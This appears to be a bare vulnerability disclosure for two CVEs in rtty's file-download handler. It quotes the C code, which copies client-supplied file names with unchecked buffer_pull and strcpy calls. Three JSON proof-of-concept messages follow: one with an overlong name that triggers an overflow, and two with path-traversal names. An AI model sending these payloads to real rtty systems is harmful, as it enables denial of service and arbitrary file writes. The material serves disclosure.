CVE-2025-56708&CVE-2025-56709

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71

total_size = ctx->remain_size = buffer_pull_u32be(info);

ment = find_mount_point(savepath);
if (ment) {
    uint64_t avail;

    if (!strcmp(ment->mnt_type, "ramfs")) {
        struct sysinfo si;

        if (sysinfo(&si)) {
            log_err("download file fail: '%s'\n", strerror(errno));
            goto check_space_fail;
        }

        avail = si.freeram;
    } else if (!statvfs(ment->mnt_dir, &sfs)) {
        avail = sfs.f_bavail * sfs.f_frsize;
    } else {
        log_err("download file fail: '%s'\n", strerror(errno));
        goto check_space_fail;
    }

    if (ctx->total_size > avail) {
        log_err("download file fail: no enough space\n");
        goto check_space_fail;
    }
} else {
    log_err("download file fail: not found mount point of '%s'\n", savepath);
    goto check_space_fail;
}

buffer_pull(info, name, len - 4);

if (!access(savepath, F_OK)) {
    send_file_control_msg(ctx->ctlfd, RTTY_FILE_MSG_ERR_EXIST, NULL, 0);
    log_err("the file '%s' already exists\n", name);
    goto open_fail;
}

fd = open(savepath, O_WRONLY | O_TRUNC | O_CREAT, 0644);
if (fd < 0) {
    send_file_control_msg(ctx->ctlfd, RTTY_FILE_MSG_ERR, NULL, 0);
    log_err("create file '%s' fail: %s\n", name, strerror(errno));
    goto open_fail;
}

log_info("download file: %s, size: %u\n", savepath, ctx->total_size);

if (fchown(fd, ctx->uid, ctx->gid) < 0) {
    // 错误处理
}

if (ctx->total_size == 0)
    close(fd);
else
    ctx->fd = fd;

memcpy(buf, &ctx->total_size, 4);
strcpy(buf + 4, name);

send_file_control_msg(ctx->ctlfd, RTTY_FILE_MSG_INFO, buf, 4 + strlen(name));

return;

check_space_fail:
    send_file_control_msg(ctx->ctlfd, RTTY_FILE_MSG_NO_SPACE, NULL, 0);
    buffer_pull(info, name, len - 4);
    
open_fail:
    file_context_reset(ctx);
}

1

{"type":"fileInfo","name":"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa","size":50}

1

{"type":"fileInfo","name":"home/xk/xxx/xxx/fuck1","size":50}

1

{"type":"fileInfo","name":"home/xk/xxx/xxxx/test/rtty/rtty/build/src/hello1","size":50}